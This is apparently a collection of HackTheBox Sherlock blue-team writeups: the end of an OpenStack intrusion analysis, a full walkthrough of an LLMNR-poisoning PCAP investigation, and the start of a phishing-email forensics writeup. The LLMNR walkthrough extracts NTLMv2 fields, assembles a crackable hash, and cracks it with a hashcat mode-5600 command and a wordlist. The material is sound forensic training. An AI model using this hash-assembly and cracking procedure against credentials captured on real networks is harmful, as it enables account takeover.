| Keystone API calls | controller | `http.request.uri contains "/identity/v3"` |
| Swift account listing | controller | `http.request.uri contains "AUTH_" && http.request.uri contains "format=json"` |
| CSV downloads (attacker) | controller | `http.request.uri contains ".csv" && ip.src == 117.200.21.26` |
| User creation | controller | `http.request.method == POST && http.request.uri == "/identity/v3/users"` |
| Role assignment | controller | `http.request.method == PUT && http.request.uri contains "roles"` |
***
## Tools Identified
| Tool | Version | User-Agent String | Purpose |
| ------------- | --------- | ------------------------------------------------------------------------------------------------------ | ------------------------------------- |
| ffuf | 2.1.0-dev | `Fuzz Faster U Fool v2.1.0-dev` | Subdomain enumeration |
| Chrome | 137.0.0.0 | `Mozilla/5.0 (Macintosh Intel Mac OS X 10_15_7) AppleWebKit/537.36 ... Chrome/137.0.0.0 Safari/537.36` | Manual dashboard exploitation |
| OpenStack SDK | 4.6.0 | `openstacksdk/4.6.0 keystoneauth1/5.11.1 python-requests/2.32.4 CPython/3.13.5` | API enumeration and data exfiltration |
***
## Network Topology
```
Attacker (117.200.21.26) - macOS, Chrome 137, ffuf 2.1.0-dev
|
v HTTP :80
Web Server / Reverse Proxy (157.230.81.229 / 10.116.0.3)
|
v HTTP :80 (internal forwarding)
OpenStack Controller (134.209.71.220 / 10.116.0.4)
|- Keystone (Identity) - port 80 /identity
|- Nova (Compute) - port 80 /compute
|- Neutron (Networking) - port 80 /networking
|- Glance (Images) - port 80 /image
|- Cinder (Block Storage) - port 80 /volume
|- Swift (Object Storage) - port 8080
|- MySQL - port 3306 (localhost)
|- RabbitMQ (AMQP) - port 5672 (localhost)
|- etcd - port 2379
'- Memcached - port 11211 (localhost)
```
***
## MITRE ATT\&CK Mapping
| Phase | Technique | Evidence |
| -------------- | ---------------------------------------------- | --------------------------------------------------------------- |
| Reconnaissance | T1595.003 - Active Scanning: Wordlist Scanning | ffuf subdomain enumeration (3,579 subdomains) |
| Initial Access | T1078.004 - Valid Accounts: Cloud Accounts | Brute-forced admin:StrongAdminSecret on Horizon |
| Discovery | T1580 - Cloud Infrastructure Discovery | Enumerated services, endpoints, users, VMs, containers |
| Collection | T1530 - Data from Cloud Storage | Downloaded user-details.csv and employee-details.csv from Swift |
| Persistence | T1136.003 - Create Account: Cloud Account | Created "jellibean" with admin role |
***
## Corrections from Previous Version
The following errors were identified by verifying each claim against the raw PCAP data and have been
corrected in this version:
| Section | Previous (incorrect) | Corrected |
| ------------------- | ------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------ |
| Step 1 | No explanation for why "8 form submissions" when there are only 4 login attempts | Added explanation: the reverse proxy doubles every POST - both the external and internal hops are captured |
| Step 5 login filter | `http.request.method == POST && http.request.uri contains "/dashboard/auth/login"` then "Four POST requests appear" | Added `&& ip.src == 117.200.21.26`, without it the filter returns 8 packets and selecting the wrong one gives the wrong stream |
| Step 5 POST body | Showed simplified `username=admin&password=admin®ion=default` | Shows the real body: includes `csrfmiddlewaretoken`, `fake_email`, and `fake_password` fields |
| Step 5 OpenRC | Implied the file is readable in the Follow TCP Stream window | Corrected: response is gzip-compressed (binary in stream), use **File > Export Objects > HTTP** instead |
| Step 4 User-Agent | Showed partial UA string `Chrome/137.0.0.0` | Shows full UA string including macOS platform: `Mozilla/5.0 (Macintosh Intel Mac OS X 10_15_7) ...` |
| Attack Timeline | `09:44:27` - "Lists contents of user-data and employee-data containers" (single entry) | Split into two correct entries: `09:43:47` (user-data) and `09:44:05` (employee-data) |
| Attack Timeline | `09:48:28` - "Grants jellibean admin role on the project" | Corrected to `09:49:15` - actual timestamp verified in the PCAP |
# Index
Source: https://writeups.dudji.com/sherlocks/index
HackTheBox Sherlocks — blue team investigations across DFIR, SOC, malware analysis, threat intelligence, and cloud.
Documented investigations across HackTheBox Sherlocks, covering the full spectrum of defensive security disciplines.
Disk, memory, and log forensics. Incident reconstruction and timeline
analysis.
Alert triage and event correlation. Identifying attacker behaviour in the
noise.
Static and dynamic sample analysis. IOC extraction and capability mapping.
Hypothesis-driven hunting across logs and telemetry for hidden attacker
activity.
Cloud-native forensics across AWS, Azure, and GCP. Logs, misconfigs, and
breaches.
# Malware Analysis
Source: https://writeups.dudji.com/sherlocks/malware-analysis/index
Malware analysis Sherlock writeups.
Malware Analysis writeups are coming soon.
# SOC
Source: https://writeups.dudji.com/sherlocks/soc/index
Security operations center Sherlock writeups.
HTB Sherlock Telly PCAP analysis and Telnet exploitation SOC investigation.
HTB Sherlock PhishNet email forensics investigation.
HTB Sherlock Noxious LLMNR poisoning investigation.
# Noxious
Source: https://writeups.dudji.com/sherlocks/soc/noxious
# Noxious - HTB Sherlock Writeup (DFIR / Network Forensics)
## Challenge Description
> The IDS device alerted us to a possible rogue device in the internal Active Directory network.
> The Intrusion Detection System also indicated signs of LLMNR traffic, which is unusual. It is
> suspected that an LLMNR poisoning attack occurred. The LLMNR traffic was directed towards
> Forela-WKstn002, which has the IP address 172.17.79.136. A limited packet capture from the
> surrounding time is provided to you, our Network Forensics expert. Since this occurred in the
> Active Directory VLAN, it is suggested that we perform network threat hunting with the Active
> Directory attack vector in mind, specifically focusing on LLMNR poisoning.
**Difficulty:** Very Easy\
**Category:** DFIR / Network Forensics\
**Evidence File:** `capture.pcap` (29,304 packets, capture window: `2024-06-24 11:17:22` to `2024-06-24 11:40:07` UTC)
***
## Understanding LLMNR Poisoning
Before opening Wireshark, it is worth understanding what the IDS alerted on and what the attack
actually looks like at the network level.
**What LLMNR is:** Link-Local Multicast Name Resolution (LLMNR) is a Windows protocol that
resolves hostnames on the local network when DNS fails. If a machine tries to reach a hostname and
the DNS server cannot resolve it — either because the server is unavailable, or because the
hostname simply does not exist — Windows falls back to broadcasting an LLMNR query on the local
network segment asking "does anyone know where `` is?" Any machine on the same local
network can respond. LLMNR runs on **UDP port 5355** and uses the multicast address `224.0.0.252`
(IPv4) or `ff02::1:3` (IPv6).
**Why this is dangerous:** LLMNR has no authentication. Any machine can respond to any query,
and the querying machine will trust the first response it receives. An attacker running a tool
called **Responder** on the local network listens for LLMNR queries and immediately responds to
them, claiming to be whatever hostname was requested.
**When exactly does the hash get sent?** This is important to understand correctly. The hash is
not sent in response to the LLMNR reply itself. The sequence is more specific:
1. The victim's LLMNR query asks "who is DCC01?" — the attacker's Responder replies "I am DCC01,
my IP is `172.17.79.135`"
2. The victim's machine now believes `172.17.79.135` is `DCC01` and tries to connect to the file
share it originally wanted — but on the attacker's IP
3. Windows automatically tries to authenticate to that SMB share using the logged-in user's
credentials. This authentication uses the NTLM protocol, which works as a challenge-response:
the "server" (Responder) sends a challenge, and the client responds with an NTLMv2 hash
computed from the user's password and that challenge
4. Responder captures this NTLMv2 hash
So the hash is not sent because of the LLMNR response directly — it is sent because Windows
automatically attempts SMB authentication to what it now believes is a legitimate file server at
`172.17.79.135`. Responder acts as both the fake LLMNR server *and* the fake SMB server. The
victim never sees an error or prompt; Windows handles the authentication transparently in the
background, and the attacker intercepts it.
**The attack in three steps:**
1. Victim types a hostname that does not exist (often a typo) — DNS fails to resolve it
2. Windows broadcasts an LLMNR query asking the local network to resolve it
3. Responder on the attacker's machine responds, victim sends NTLMv2 credentials to the attacker
**MITRE ATT\&CK:** T1557.001 — Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay
***
## Initial Analysis Methodology
Before answering any questions, the goal is to understand who the players are and what happened —
using only the PCAP evidence.
***
### Step 1 — Endpoints: Who is on this network?
Open the PCAP in Wireshark and go to `Statistics > Endpoints > IPv4`. This gives an immediate
overview of all IP addresses communicating in the capture and how much traffic each generates.
| Address | Packets | Role |
| ----------------- | ------- | -------------------------------------------------- |
| 172.17.79.136 | 17,483 | Victim — `Forela-WKstn002` (named in scenario) |
| 172.17.79.129 | 9,091 | High volume — further investigation needed |
| 172.17.79.4 | 1,407 | Low-volume internal — likely the Domain Controller |
| **172.17.79.135** | **140** | **Unknown — not yet identified** |
`172.17.79.135` is not immediately suspicious from the Endpoints view alone — packet count tells
us nothing definitive about intent. What this view gives us is a list of internal IPs to keep in
mind. We now need to understand what each one is actually doing.
To identify the Domain Controller specifically, apply a DNS filter:
```
dns
```
Enable `View > Name Resolution > Resolve Network Addresses`. DNS traffic from `172.17.79.4`
resolves queries for `dc01.forela.local`, confirming it as the Domain Controller. This is
important: in a legitimate network, the DC is the only machine that should respond to LLMNR
queries. Any other machine responding is a red flag.
***
### Step 2 — LLMNR Traffic: Who is answering queries they shouldn't be?
Filter for LLMNR traffic:
```
udp.port == 5355
```
Or equivalently:
```
llmnr
```
The packet list now shows only LLMNR traffic. Sort by time and read the pattern:
| Time | Source | Destination | Type | Query |
| ------------------- | ----------------- | ----------------- | ------------ | --------- |
| 11:18:30.895766 | 172.17.79.136 | 224.0.0.252 | Query | DCC01 |
| 11:18:30.896077 | 172.17.79.136 | 224.0.0.252 | Query | DCC01 |
| **11:18:30.902155** | **172.17.79.135** | **172.17.79.136** | **Response** | **DCC01** |
| **11:18:30.907809** | **172.17.79.135** | **172.17.79.136** | **Response** | **DCC01** |
Two things are immediately visible:
**The query name is `DCC01`** — not `DC01`, the actual domain controller hostname. This is a
typo. The victim was trying to navigate to a file share on `DC01` but typed `DCC01`, which does
not exist in DNS. That failure triggered the LLMNR broadcast.
**The responder is `172.17.79.135`** — not the Domain Controller (`172.17.79.4`), which we
already confirmed from DNS traffic. The DC is the only machine in this network that should
legitimately answer LLMNR queries for domain resources. `172.17.79.135` is not the DC, and the
fact that it responds within milliseconds to every `DCC01` query is characteristic of Responder
running in listen mode. Whether this machine is rogue or domain-joined, we do not yet know —
but its behavior of answering LLMNR queries it has no authority over demands further
investigation. That is what Step 3 (DHCP) is for.
***
### Step 3 — DHCP: Confirm the rogue machine's identity
Now that we have the suspicious IP, confirm what machine it is. When a device joins a network, it
uses DHCP to get an IP address. The DHCP request contains the machine's hostname. Apply:
```
ip.addr == 172.17.79.135 && dhcp
```
Three packets appear. Open the DHCP Request packet and expand the options:
```
> Option: (57) Maximum DHCP Message Size
> Option: (12) Host Name
Length: 4
Host Name: kali
> Option: (255) End
```
The hostname is `kali` — the name of the Kali Linux distribution, an offensive security platform
used for penetration testing and attacks. This machine is not a domain-joined Windows workstation.
It is a Linux attacker machine running Responder.
***
### Step 4 — SMB and NTLMSSP: Confirm credential capture
Now that we know the attacker's machine poisoned LLMNR and redirected the victim, we need to
confirm that credentials were actually captured. When the victim's machine tried to authenticate
to what it thought was `DCC01`, it would have sent NTLMv2 credentials over SMB. Apply:
```
ntlmssp
```
Multiple NTLM authentication negotiations appear, all occurring at `11:18:30` — exactly when the
LLMNR responses were sent. This confirms the credential capture was successful.
NTLM authentication always occurs in sets of exactly **three packets**:
```
NTLMSSP_NEGOTIATE → client opens negotiation
NTLMSSP_CHALLENGE ← server sends challenge
NTLMSSP_AUTH → client responds with hashed credentials
```
The NTLM traffic uses **IPv6 link-local addresses** (`fe80::` range) rather than the IPv4
addresses we've been tracking. This is normal — Windows often prefers IPv6 for local SMB
communication. Enable `View > Name Resolution > Resolve Network Addresses` to see Wireshark
display the hostnames rather than raw IPv6 addresses.
In the `NTLMSSP_AUTH` packet, expanding the SMB2 session tree reveals the username:
`john.deacon` in the `FORELA` domain. The timeline aligns perfectly: LLMNR query at 11:18:30,
LLMNR response from attacker at 11:18:30, NTLM authentication also at 11:18:30.
***
### Step 5 — SMB File Share: What was the victim actually doing?
Apply an SMB2 filter to see the full picture:
```
smb2
```
Scroll through and find Tree Connect requests — these are SMB operations that connect to a file
share path. You will find:
```
Tree Connect Request Tree: \\DC01\DC-Confidential
```
This was the victim's intended destination: a confidential share on the real Domain Controller
`DC01`. The typo `DCC01` instead of `DC01` is what triggered the entire attack chain. About 40
seconds after the LLMNR poisoning event, the victim corrected their typo and successfully
connected to the real `DC01` — visible in the SMB2 traffic as a legitimate tree connect.
***
### Methodology Summary
In Active Directory network threat hunting, follow this sequence for LLMNR poisoning:
1. **Identify the Domain Controller IP** — filter DNS traffic; the DC serves all domain name
resolutions and its IP is the only legitimate LLMNR responder
2. **Filter LLMNR (`udp.port == 5355`)** — look for any machine *other than the DC* responding
to queries; that machine is a rogue device
3. **Note the queried hostname** — if it looks like a typo of a real hostname, that is what
triggered the LLMNR fallback
4. **Filter DHCP for the rogue IP** — confirm the device's hostname to identify what it is
5. **Filter `ntlmssp`** — confirm credentials were captured; check timestamps align with LLMNR
6. **Cross-reference timestamps** — LLMNR response and NTLM negotiation occurring within the
same second is the smoking gun that proves the poisoning attack succeeded
7. **Filter `smb2`** for Tree Connect — find the actual file share the victim intended to reach
***
## Attack Timeline
| Time (UTC) | Event | Source |
| -------------- | -------------------------------------------------------------------------------- | ------------ |
| `11:17:33` | `172.17.79.135` (Kali) issues DHCP Discover — attacker joins the network segment | PCAP (DHCP) |
| `11:18:30.895` | Victim `172.17.79.136` broadcasts LLMNR query for `DCC01` | PCAP (LLMNR) |
| `11:18:30.902` | Attacker `172.17.79.135` responds to LLMNR query, claiming to be `DCC01` | PCAP (LLMNR) |
| `11:18:30.919` | Victim initiates SMB/NTLM authentication — NTLMSSP\_NEGOTIATE sent | PCAP (SMB2) |
| `11:18:30.921` | Attacker sends NTLMSSP\_CHALLENGE with server challenge `601019d191f054f1` | PCAP (SMB2) |
| `11:18:30.922` | **Victim sends NTLMSSP\_AUTH — `john.deacon`'s NTLMv2 hash captured** | PCAP (SMB2) |
| `11:18:30–40` | Credentials relayed multiple times (multiple NTLM sets in rapid succession) | PCAP (SMB2) |
| `11:19:11` | Victim connects to real `\\DC01\DC-Confidential` (corrected the typo) | PCAP (SMB2) |
***
## Questions & Answers
### Task 1: It is suspected by the security team that there was a rogue device in Forela's internal network running Responder to perform an LLMNR Poisoning attack. Please find the malicious IP address of the machine.
**PCAP:** `capture.pcap`\
**Filter:** `udp.port == 5355`
Apply the LLMNR filter. The victim machine `172.17.79.136` broadcasts queries for the hostname
`DCC01` to the multicast address `224.0.0.252`. In a legitimate network, the Domain Controller
(`172.17.79.4`) would be the only machine to respond to these queries. Instead, we see a
completely different machine responding:
```
11:18:30.902155 172.17.79.135 → 172.17.79.136 [LLMNR Response] DCC01
11:18:30.907809 172.17.79.135 → 172.17.79.136 [LLMNR Response] DCC01
```
`172.17.79.135` is not the Domain Controller, it is not any known domain-joined machine, and it
responds to every single LLMNR query within milliseconds — the response pattern of an automated
tool listening on the wire rather than a machine that actually hosts the queried resource.
> **Answer:** `172.17.79.135`
***
### Task 2: What is the hostname of the rogue machine?
**PCAP:** `capture.pcap`\
**Filter:** `ip.addr == 172.17.79.135 && dhcp`
When any machine joins a network and requests an IP from DHCP, the DHCP Request packet includes
the machine's hostname in Option 12. Apply the filter above — three packets appear. Open the DHCP
Request from `172.17.79.135` and expand the options section:
```
> Option: (12) Host Name
Length: 4
Host Name: kali
```
`kali` is the default hostname of Kali Linux, the offensive security distribution used by
penetration testers and attackers. This is not a Windows domain machine — it has no legitimate
reason to be on the Active Directory VLAN and is clearly the attacker's device running Responder.
> **Answer:** `kali`
***
### Task 3: Now we need to confirm whether the attacker captured the user's hash and it is crackable. What is the username whose hash was captured?
**PCAP:** `capture.pcap`\
**Filter:** `ntlmssp`
After the LLMNR poisoning, the victim machine tries to authenticate to what it thinks is `DCC01`
over SMB. This triggers NTLM authentication. Apply the `ntlmssp` filter — multiple authentication
sets appear, all directed from the victim toward the attacker's machine.
In any of the `NTLMSSP_AUTH` packets (the third packet in each set), expand:
```
SMB2 > Session Setup Response (0x1) > Security Blob > GSS-API >
Simple Protected Negotiation > negTokenTarg > NTLM Secure Service Provider >
NTLM Response > NTLMv2 Response
```
The `Domain name` and `User name` fields confirm:
```
Domain: FORELA
User: john.deacon
```
The fact that multiple sets of NTLM negotiations occurred — all within seconds — confirms that
Responder captured the hash and the victim's machine retried authentication multiple times.
> **Answer:** `john.deacon`
***
### Task 4: In NTLM traffic we can see that the victim credentials were relayed multiple times to the attacker's machine. When were the hashes captured the first time?
**PCAP:** `capture.pcap`\
**Filter:** `ntlmssp`
Before reading timestamps, set Wireshark to display UTC time:
`View > Time Display Format > UTC Date and Time of Day`
**What "relayed multiple times" actually means here:** The question uses the word "relayed" but
this is slightly misleading for this specific scenario. What you see in the PCAP is not an SMB
relay attack (where the hash is forwarded to a third machine to authenticate somewhere else).
What you actually see is multiple complete NTLM authentication sets — NEGOTIATE, CHALLENGE, AUTH
— occurring in rapid succession, all directed from the victim to the attacker's machine. This
happens because Windows automatically retries authentication when a connection attempt fails or
is rejected, and Responder deliberately keeps rejecting sessions after capturing the hash to
collect multiple copies. Each retry is a new complete three-packet set, and each one contains the
captured hash. You can see this clearly in the `ntlmssp` filter: instead of one NEGOTIATE →
CHALLENGE → AUTH sequence, there are many, all within seconds of each other, all going to the
same destination:
```
11:18:30 NTLMSSP_NEGOTIATE (set 1)
11:18:30 NTLMSSP_CHALLENGE
11:18:30 NTLMSSP_AUTH ← hash captured (1st time)
11:18:30 NTLMSSP_NEGOTIATE (set 2)
11:18:30 NTLMSSP_CHALLENGE
11:18:30 NTLMSSP_AUTH ← hash captured again
11:18:30 NTLMSSP_NEGOTIATE (set 3)
...
```
If this were a single legitimate authentication, you would expect exactly one NEGOTIATE →
CHALLENGE → AUTH sequence, not a rapid burst of them. Multiple sets in under a second is a
reliable indicator that Responder is on the other end.
The timestamp question asks specifically about the first time — the very first `NTLMSSP_NEGOTIATE`
packet in the list:
```
2024-06-24 11:18:30 NTLMSSP_NEGOTIATE ← first capture begins here
2024-06-24 11:18:30 NTLMSSP_CHALLENGE
2024-06-24 11:18:30 NTLMSSP_AUTH ← hash captured here
```
> **Answer:** `2024-06-24 11:18:30`
***
### Task 5: What was the typo made by the victim when navigating to the file share that caused their credentials to be leaked?
**PCAP:** `capture.pcap`\
**Filter:** `udp.port == 5355`
In the LLMNR traffic, every query from `172.17.79.136` asks for the same hostname. Read the
`Name` field in the packet details:
```
Queries:
DCC01: type A, class IN
DCC01: type AAAA, class IN
```
The actual Domain Controller hostname is `DC01`. The victim typed `DCC01` — an extra `C`. This
hostname does not exist in DNS (`dc01.forela.local` exists, `dcc01.forela.local` does not), so
the DNS query failed and Windows fell back to LLMNR — which the attacker was waiting to exploit.
This typo is also confirmed in the NTLMSSP traffic: in the `NTLMSSP_AUTH` packets, the target
server name (`netname`) field shows `DCC01`, because the victim's machine genuinely believes it
is talking to a server called `DCC01`.
> **Answer:** `DCC01`
***
### Task 6: To get the actual credentials of the victim user we need to stitch together multiple values from the NTLM negotiation packets. What is the NTLM server challenge value?
**PCAP:** `capture.pcap`\
**Filter:** `ntlmssp`
The server challenge is found in the `NTLMSSP_CHALLENGE` packet — the second packet of any NTLM
set. Click it and expand:
```
SMB2 > Session Setup Response (0x1) > Security Blob > GSS-API Generic >
Simple Protected Negotiation > negTokenTarg > NTLM Secure Service Provider >
NTLM Server Challenge
```
The value shown is:
```
NTLM Server Challenge: 601019d191f054f1
```
The server challenge is an 8-byte random value generated by the "server" (in this case Responder
on the attacker's Kali machine). The client uses this challenge, combined with its own client
challenge and the user's password hash, to compute the NTLMv2 response. To crack the password
offline, we need both this challenge and the NTProofStr from the AUTH packet.
> **Answer:** `601019d191f054f1`
***
### Task 7: Now doing something similar, find the NTProofStr value.
**PCAP:** `capture.pcap`\
**Filter:** `ntlmssp`
The NTProofStr is found in the `NTLMSSP_AUTH` packet — the third packet of the same NTLM set.
Click it and expand:
```
SMB2 > Session Setup Response (0x1) > Security Blob > GSS-API Generic >
Simple Protected Negotiation > negTokenTarg > NTLM Secure Service Provider >
NTLM Response > NTLMv2 Response > NTProofStr
```
The value shown is:
```
NTProofStr: c0cc803a6d9fb5a9082253a04dbd4cd4
```
NTProofStr is the first 16 bytes (32 hex characters) of the full NTLMv2 Response. It is the
HMAC-MD5 of the server challenge, client challenge, timestamp, and target information — computed
using the user's NT hash as the key. Extracting it separately is necessary because when we
assemble the hash for cracking, we insert it between the server challenge and the remaining
response bytes.
> **Answer:** `c0cc803a6d9fb5a9082253a04dbd4cd4`
***
### Task 8: To test the password complexity, try recovering the password from the information found from the packet capture. What is the password?
**PCAP:** `capture.pcap`\
**Method:** Assemble the NTLMv2 hash and crack with Hashcat
To crack the password, assemble the captured values into the NTLMv2 hash format that Hashcat
expects. The format is:
```
User::Domain:ServerChallenge:NTProofStr:NTLMv2Response(without first 32 characters)
```
The NTLMv2Response (full blob) is found in the same `NTLMSSP_AUTH` packet as NTProofStr. Go
back one level from where you found NTProofStr — instead of expanding all the way down to
`NTProofStr`, stop at `NTLMv2 Response` itself:
```
SMB2 > Session Setup Response (0x1) > Security Blob > GSS-API Generic >
Simple Protected Negotiation > negTokenTarg > NTLM Secure Service Provider >
NTLM Response > NTLMv2 Response
```
Click `NTLMv2 Response` to select it. In the hex pane at the bottom of Wireshark, the bytes
belonging to this field are highlighted. Right-click `NTLMv2 Response` in the packet tree and
select **Copy > Value** — this gives you the full hex string of the entire response blob.
The value you get will start with `c0cc803a6d9fb5a9082253a04dbd4cd4` — which is exactly the
NTProofStr. That is expected: the NTLMv2 Response blob begins with NTProofStr and is immediately
followed by the rest of the blob (client challenge, timestamp, target info, etc.).
**Remove the first 32 characters** from this value (the NTProofStr portion) before using it in
the hash format — the format already has NTProofStr as its own separate field, so if you leave it
in the blob you would be duplicating it and the hash would be malformed.
Assembled hash:
```
john.deacon::FORELA:601019d191f054f1:c0cc803a6d9fb5a9082253a04dbd4cd4:010100000000000080e4d59406c6da01cc3dcfc0de9b5f2600000000020008004e0042004600590001001e00570049004e002d00360036004100530035004c003100470052005700540004003400570049004e002d00360036004100530035004c00310047005200570054002e004e004200460059002e004c004f00430041004c00030014004e004200460059002e004c004f00430041004c00050014004e004200460059002e004c004f00430041004c000700080080e4d59406c6da01060004000200000008003000300000000000000000000000002000 00eb2ecbc5200a40b89ad5831abf821f4f20a2c7f352283a35600377e1f294f1c90a001000000000000000000000000000000000000900140063006900660073002f00440043004300300031000000000000000000
```
Save this to a file and crack with Hashcat using mode 5600 (NetNTLMv2):
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
hashcat -a 0 -m 5600 hash.txt rockyou.txt
```
Hashcat output:
```
Hash.Mode........: 5600 (NetNTLMv2)
Hash.Target......: JOHN.DEACON::FORELA:601019d191f054f1:c0cc803a6d9fb5...
Time.Started.....: 0 secs
Candidates.#1....: NotMyPassword0K? → NotMyPassword0K?
```
The password cracked instantly from the rockyou wordlist, which means if the attacker captured
this hash, they would have had the plaintext password within seconds. This highlights the
critical importance of strong, non-dictionary passwords in Active Directory environments.
> **Answer:** `NotMyPassword0K?`
***
### Task 9: Just to get more context surrounding the incident, what is the actual file share that the victim was trying to navigate to?
**PCAP:** `capture.pcap`\
**Filter:** `smb2`
Clear the ntlmssp filter and apply `smb2`. Scroll through the packets and look for Tree Connect
Request entries — these are the SMB operations that establish a connection to a file share path.
The Info column will show:
```
Tree Connect Request Tree: \\DC01\DC-Confidential
```
This appears approximately 40 seconds after the LLMNR poisoning event, at `11:19:11`. This is
the victim correcting their typo and successfully connecting to the real Domain Controller. The
`DC-Confidential` share name confirms this was a sensitive resource — the attacker not only
captured credentials but also learned what confidential share the victim was targeting.
> **Answer:** `\\DC01\DC-Confidential`
***
## Key Wireshark Filters Reference
| Purpose | Filter |
| -------------------------- | ---------------------------------- |
| LLMNR traffic only | `udp.port == 5355` or `llmnr` |
| DHCP for rogue machine | `ip.addr == 172.17.79.135 && dhcp` |
| SMB2 traffic only | `smb2` |
| NTLM negotiations only | `ntlmssp` |
| DNS (to identify DC) | `dns` |
| Rogue machine all traffic | `ip.addr == 172.17.79.135` |
| Victim machine all traffic | `ip.addr == 172.17.79.136` |
| LLMNR from victim only | `llmnr && ip.src == 172.17.79.136` |
| LLMNR from rogue only | `llmnr && ip.src == 172.17.79.135` |
***
## Network Topology
```
Domain Controller (172.17.79.4) — dc01.forela.local
↑
| (legitimate SMB, port 445)
|
Victim: Forela-WKstn002 (172.17.79.136)
|
| LLMNR query: "Who is DCC01?" → multicast 224.0.0.252
↓
Attacker: kali (172.17.79.135) ← Responder listening on UDP 5355
|
| "I am DCC01" → responds to victim
↓
Victim sends NTLMv2 credentials (john.deacon::FORELA) to attacker over SMB port 445
```
***
## MITRE ATT\&CK Mapping
| Phase | Technique ID | Technique Name | Evidence |
| ----------------- | ------------ | ----------------------------------------------- | --------------------------------------------------------------- |
| Credential Access | T1557.001 | Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning | Kali machine responding to LLMNR queries, capturing NTLMv2 hash |
| Credential Access | T1110.002 | Brute Force: Password Cracking | NTLMv2 hash cracked with Hashcat/rockyou in seconds |
| Discovery | T1046 | Network Service Discovery | Responder listening passively on the network segment |
| Collection | T1557 | Adversary-in-the-Middle | Credentials intercepted mid-authentication flow |
***
## Remediation
**If LLMNR is not required:** Disable it via Group Policy at `Computer Configuration > Administrative Templates > Network > DNS Client > Turn off multicast name resolution`.
**If LLMNR cannot be disabled:** Implement Network Access Control (NAC) to prevent unauthorized
devices from joining internal VLANs, and enforce long complex passwords to reduce the risk of
offline cracking if hashes are captured.
**Password policy context:** `NotMyPassword0K?` appeared in the rockyou wordlist, meaning it
cracked instantly. A truly random password of equivalent length would not be crackable offline.
***
## Skills Learned
* Understanding LLMNR and why its lack of authentication makes it exploitable
* Using `udp.port == 5355` to isolate LLMNR traffic and identify rogue responders
* Identifying the Domain Controller's IP from DNS traffic to distinguish legitimate from rogue responders
* Using DHCP hostname lookup to identify an unknown machine's operating system
* Understanding NTLM authentication — the three-packet NEGOTIATE/CHALLENGE/AUTH flow
* Extracting individual fields from NTLMSSP packets: server challenge, NTProofStr, NTLMv2Response
* Assembling a crackable NTLMv2 hash from PCAP evidence
* Using Hashcat mode 5600 to crack NetNTLMv2 hashes
* Recognising that NTLM traffic in a Windows environment may travel over IPv6 link-local addresses
* Correlating LLMNR, DHCP, NTLM, and SMB traffic across a single timeline to reconstruct an attack
# Phisnet
Source: https://writeups.dudji.com/sherlocks/soc/phisnet
# PhishNet - HTB Sherlock Writeup (DFIR / Email Forensics)
## Challenge Description
> An accounting team receives an urgent payment request from a known vendor. The email appears
> legitimate but contains a suspicious link and a .zip attachment hiding malware. Your task is to
> analyze the email headers, and uncover the attacker's scheme.
**Difficulty:** Very Easy\
**Category:** DFIR / Email Forensics\
**Evidence File:** `email.eml` — SHA-256: `cf48f767176524f8c3fce171607b846aae463cc6128a48de32dffe2da6ab37c4`
***
## Initial Analysis Methodology
Before diving into the questions, the goal is to understand what we are looking at and build a
repeatable approach to email forensics. This is a different discipline from PCAP or log analysis
— instead of Wireshark, your primary tool is a text editor and the command line.
***
### Step 1 — Understand the Artifact: What is an .eml file?
An `.eml` file is a standard format for storing complete email messages as plain text. It
contains everything about an email in a single file: the headers at the top, the body in the
middle, and any attachments at the bottom (encoded as Base64 text). Because it is just text, you
can open it in any editor — VS Code, Sublime Text, or even `cat` on the terminal.
Start by confirming what you have:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
file email.eml
# email.eml: SMTP mail, ASCII text, with CRLF line terminators
```
Then do a quick read-through to get oriented:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
cat email.eml
```
The output will look like this — first all the headers, then a blank line, then the HTML body,
then the attachment:
```
Return-Path:
Reply-To:
X-Mailer: Microsoft Outlook 16.0
X-Originating-IP: [45.67.89.10]
X-Priority: 1 (Highest)
X-MSMail-Priority: High
Received-SPF: Pass (protection.outlook.com: domain of business-finance.com ...)
...
From: "Finance Dept"
To: "Accounting Dept"
Subject: Urgent: Invoice Payment Required - Overdue Notice
...
Dear Accounting Team,
...
Download Invoice
...
--boundary123
Content-Type: application/zip; name="Invoice_2025_Payment.zip"
Content-Disposition: attachment; filename="Invoice_2025_Payment.zip"
Content-Transfer-Encoding: base64
UEsDBBQAAAAIABh/WloXPY4qcxITALvMGQAY...
```
This gives you an immediate overview of the full email before you start answering questions.
***
### Step 2 — Understand the Structure: Headers, Body, and Attachments
An email has three distinct sections, each separated by blank lines:
**Headers (lines 1–34):** Metadata about the email — who sent it, where it came from, what
servers handled it, and authentication results. These are the most forensically valuable part.
Every header is a `Key: Value` pair.
**Body (after the first blank line):** The actual content shown to the recipient. In this email
it is HTML (`Content-Type: text/html`), meaning it has formatting, links, and can hide the real
destination of any hyperlink behind display text.
**Attachments (after `--boundary123` separator):** The ZIP file is encoded as Base64 text and
embedded inline at the end of the file. The `boundary123` string acts as a divider between the
body and each attachment.
***
### Step 3 — Read Every Header: A Complete Reference
This is the full header block from `email.eml`, line by line:
```
Return-Path:
Reply-To:
X-Mailer: Microsoft Outlook 16.0
X-Originating-IP: [45.67.89.10]
X-Priority: 1 (Highest)
X-MSMail-Priority: High
Received-SPF: Pass (protection.outlook.com: domain of business-finance.com
designates 45.67.89.10 as permitted sender)
ARC-Seal: i=1; a=rsa-sha256; d=business-finance.com; s=arc-2025; t=1677416100; cv=pass;
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=business-finance.com; s=arc-2025;
X-AntiSpam: Passed
X-Organization: Business Finance Ltd.
X-Envelope-From: finance@business-finance.com
List-Unsubscribe:
X-Sender-IP: 45.67.89.10
Received: from mail.business-finance.com ([203.0.113.25])
by mail.target.com (Postfix) with ESMTP id ABC123;
Mon, 26 Feb 2025 10:15:00 +0000 (UTC)
Received: from relay.business-finance.com ([198.51.100.45])
by mail.business-finance.com with ESMTP id DEF456;
Mon, 26 Feb 2025 10:10:00 +0000 (UTC)
Received: from finance@business-finance.com ([198.51.100.75])
by relay.business-finance.com with ESMTP id GHI789;
Mon, 26 Feb 2025 10:05:00 +0000 (UTC)
Authentication-Results: spf=pass (domain business-finance.com designates 45.67.89.10 as permitted sender)
smtp.mailfrom=business-finance.com;
